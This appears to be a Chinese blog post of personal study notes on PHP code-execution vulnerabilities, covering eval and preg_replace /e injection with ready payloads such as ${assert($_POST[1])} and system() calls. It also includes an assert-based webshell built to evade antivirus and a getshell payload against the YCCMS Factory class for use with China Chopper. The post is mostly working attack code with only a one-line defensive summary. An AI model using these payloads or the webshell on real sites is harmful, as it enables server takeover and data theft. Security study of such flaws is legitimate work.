zoukankan      html  css  js  c++  java
  • 代码执行漏洞

    0x00:前言

    应用程序在调用一些能够将字符串转换为代码的函数(如PHP中的eval)时,没有考虑用户是否控制这个字符串,将造成代码执行漏洞。

    很难通过黑盒查找漏洞,大部分都是根据源代码判断代码执行漏洞。

    客户端,向服务器发送恶意请求,该请求内容有服务器端可执行的代码,服务器接收后,未对数据做出任何过滤/拦截(服务器用了危险函数),从而造成代码执行漏洞

    0x01:原理

    $str = "121"."asdasf"."asds{phpinfo()}adsf";

    PHP会把    { }   中的代码,正常运行 

    扩展

    ?data = data:text/plain,<?php phpinfo();?>

    文本类型+恶意代码

    0x02:远程代码执行常见点

    可控的一个点,指向危险函数(多为生僻函数)

    0x03:常见函数

    参考链接:https://blog.csdn.net/qq_37133717/article/details/94760485

    eval()函数漏洞利用_1

    <?php 
    $data = $_GET['data'];
    eval("$ret = $data;");
    echo $ret;
    ?>

    /?data=phpinfo()
    /?data=1;phpinfo()
    /?data=${phpinfo()}

    eval()函数漏洞利用_2

    <?php
    //关闭魔术方法
    $data=$_GET[‘data’];
    eval(“$ret = strtolower(‘$data’);”);
    echo $ret;
    ?>

    /?data=1’);phpinfo();//

    eval()函数漏洞利用_3

    <?php
    $data=$_GET[‘data’];
    eval(“$ret = strtolower(”$data”);”);
    echo $ret;
    ?>

    /?data=${phpinfo()} (php版本5.5及以上)
    /?data=“);phpinfo();//

    preg_replace+/e利用(PHP版本在5.5以下)

    <?php
    $data=$_GET[‘data’];
    echo $data;
    preg_replace(‘/<data>(.*)</data>/e’,‘$ret=“\1”;’, $data);
    echo $ret;
    ?>

    /?data=${phpinfo()}

    /?data=<data>${assert($_POST[1])}</data>

    payload:

    ${函数或一句话木马}   //配合菜刀getshell

    ?data=’);${exit(print(system("命令")))};//

    {${所需函数}}</data>

    0x04:使用

    可以构造代码执行漏洞,上传木马(这是木马的原理??)

    避免被杀软过滤,尽量用不常用函数

    <?php
    $a1 = array($_POST['cmd']);
    $a2 = array($_POST['cmd']);
    $result = array_udiff_uassoc($a1,$a2,"assert","assert");
    ?>

    0x05:总结

    开发中尽量不要使用危险函数,输入的变量要过滤,正则表达式

    随便试的测试代码

    <?php
    /*
    $data = $_GET['data'];
    eval ("$ret = strtolower('$data');");
    echo $ret;
    
    eval ("$ret = phpinfo();");
    eval ("$ret = 1;phpinfo();");
    eval ("$ret = ${phpinfo()};");
    eval ("$ret = strtolower('');phpinfo();//');");
    */
    
    $data=$_GET['data'];
    echo $data;
    //preg_replace('/<data>(.*)</data>/e','$ret="\1";', $data);
    //{${所需函数}}</data>
    eval ("$ret = strtolower('$data');");
    echo $ret;
    
    //preg_replace('/<data>(.*)</data>/e','$ret="\1";', ${phpinfo()});
    
    //${函数/一句话木马}
    //?data=%27);${exit(print(system("命令")))};//
    
    ?>

    0x06:YCCMS代码执行拿shell

    用工具自动化审计完了

    然后就引用:https://blog.csdn.net/qq_36374896/article/details/84839891

    代码审计,不会

     index.php
    <?php
    require str_replace('\','/',substr(dirname(__FILE__),0,-6)).'/config/run.inc.php';
    ?>
    run.inc.php
    <?php
    //开启session
    session_start();
    //超时时间
    @set_time_limit(0);
    //设置编码
    header('Content-Type:text/html;charset=utf-8');
    //错误级别,报告警告之外的所有错误
    error_reporting(E_ALL ^ E_NOTICE);
    //设置时区
    date_default_timezone_set('PRC'); 
    //网站绝对根路径
    define('ROOT_PATH',str_replace('\','/',substr(dirname(__FILE__),0,-7))); 
    //引入配置文件
    require ROOT_PATH.'/config/config.inc.php';
    //引入Smarty
    require ROOT_PATH.'/public/smarty/Smarty.class.php';
    //自动加载类
    function __autoload($_className){
        if(substr($_className,-6)=='Action'){
            require ROOT_PATH.'/controller/'.$_className.'.class.php';    
        }elseif(substr($_className, -5) == 'Model'){
            require ROOT_PATH.'/model/'.$_className.'.class.php';
        }else{
            require ROOT_PATH.'/public/class/'.$_className.'.class.php';
        }
    }
    //单入口
    Factory::setAction()->run();
    ?>
    Factory.class.php
    <?php
    class Factory{
        static private $_obj=null;
        static public function setAction(){
            $_a=self::getA();
            if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online'))) {
                if (!isset($_SESSION['admin'])) {
                    header('Location:'.'?a=login');
                }
            }
            if (!file_exists(ROOT_PATH.'/controller/'.$_a.'Action.class.php')) $_a = 'Index';
            eval('self::$_obj = new '.ucfirst($_a).'Action();');
            return self::$_obj;
        }
        
        static public function setModel() {
            $_a = self::getA();
            if (file_exists(ROOT_PATH.'/model/'.$_a.'Model.class.php')) eval('self::$_obj = new '.ucfirst($_a).'Model();');
            return self::$_obj;
        }
        static public function getA(){
            if(isset($_GET['a']) && !empty($_GET['a'])){
                return $_GET['a'];
            }
            return 'login';
        }
    }
    
    
    ?>

    payload:Factory();phpinfo();//../

    其中Factory();是为了闭合前面new字符,不然程序会报错,后面紧接着执行phpinfo();函数

    菜刀拿来

  • 相关阅读:
    EXTJS 4.2 资料 控件之checkboxgroup的用法(静态数据)
    EXTJS 4.2 资料 控件之Window窗体相关属性的用法
    EXTJS 4.2 资料 控件之textfield文本框加事件的用法
    Entity Framework 学习笔记(一)之数据模型 数据库
    EXTJS 4.2 资料 控件之checkboxgroup的用法(动态数据)
    EXTJS 4.2 资料 控件之Grid 列鼠标悬停提示
    Entity Framework 学习笔记(二)之数据模型 Model 使用过程
    EXTJS 4.2 资料 控件之radiogroup 的用法
    EXTJS API
    vue移动端弹框组件,vue-layer-mobile
  • 原文地址:https://www.cnblogs.com/liqik/p/12459255.html
Copyright © 2011-2022 走看看